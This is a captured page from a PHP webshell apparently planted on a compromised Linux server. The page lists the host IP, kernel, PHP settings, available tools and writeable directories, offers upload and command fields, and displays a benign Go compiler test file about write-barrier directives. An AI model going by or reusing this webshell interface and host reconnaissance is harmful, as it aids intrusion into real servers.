403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/go-1.22/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/go-1.22/test/nowritebarrier.go
// errorcheck -+ -p=runtime

// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Test go:nowritebarrier and related directives.
// This must appear to be in package runtime so the compiler
// recognizes "systemstack".

package runtime

type t struct {
	f *t
}

var x t
var y *t

//go:nowritebarrier
func a1() {
	x.f = y // ERROR "write barrier prohibited"
	a2()    // no error
}

//go:noinline
func a2() {
	x.f = y
}

//go:nowritebarrierrec
func b1() {
	b2()
}

//go:noinline
func b2() {
	x.f = y // ERROR "write barrier prohibited by caller"
}

// Test recursive cycles through nowritebarrierrec and yeswritebarrierrec.

//go:nowritebarrierrec
func c1() {
	c2()
}

//go:yeswritebarrierrec
func c2() {
	c3()
}

func c3() {
	x.f = y
	c4()
}

//go:nowritebarrierrec
func c4() {
	c2()
}

//go:nowritebarrierrec
func d1() {
	d2()
}

func d2() {
	d3()
}

//go:noinline
func d3() {
	x.f = y // ERROR "write barrier prohibited by caller"
	d4()
}

//go:yeswritebarrierrec
func d4() {
	d2()
}

//go:noinline
func systemstack(func()) {}

//go:nowritebarrierrec
func e1() {
	systemstack(e2)
	systemstack(func() {
		x.f = y // ERROR "write barrier prohibited by caller"
	})
}

func e2() {
	x.f = y // ERROR "write barrier prohibited by caller"
}

Youez - 2016 - github.com/yon3zu
LinuXploit